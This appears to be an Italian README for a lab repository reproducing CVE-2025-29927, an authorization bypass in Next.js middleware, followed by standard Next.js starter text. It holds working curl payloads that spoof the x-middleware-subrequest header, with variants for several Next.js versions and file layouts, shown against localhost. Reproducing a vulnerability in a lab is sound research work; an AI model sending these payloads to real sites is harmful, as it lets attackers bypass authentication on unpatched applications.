
vulnerable-nextjs-14-CVE-2025-29927
Questo repository è una riproduzione della vulnerabilità CVE-2025-29927 nel pacchetto next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 volte nell'intestazione speciale x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Le versioni di Next.js 12 e 13 avevano una convenzione di denominazione diversa per il file middleware (_middleware.js), che è stata cambiata in middleware.js in Next.js 14. Questa vulnerabilità può essere sfruttata nelle versioni precedenti utilizzando il file _middleware.js.
Ad esempio, i seguenti payload si applicano a seconda della versione di Next.js e della convenzione di routing:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (per le versioni di Next.js 12.2 con il file middleware.js nella root dell'app, non all'interno della directory pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (per le versioni di Next.js 11 fino a 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPer prima cosa, avvia il server di sviluppo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Apri http://localhost:3000 con il tuo browser per vedere il risultato.
Puoi iniziare a modificare la pagina modificando app/page.js. La pagina si aggiorna automaticamente mentre modifichi il file.
Questo progetto usa next/font per ottimizzare e caricare automaticamente Geist, una nuova famiglia di caratteri per Vercel.
Per saperne di più su Next.js, dai un'occhiata alle seguenti risorse:
Puoi dare un'occhiata al repository GitHub di Next.js - feedback e contributi sono benvenuti!
Il modo più semplice per fare il deploy della tua app Next.js è usare la Piattaforma Vercel dai creatori di Next.js.
Dai un'occhiata alla nostra documentazione sul deploy di Next.js per maggiori dettagli.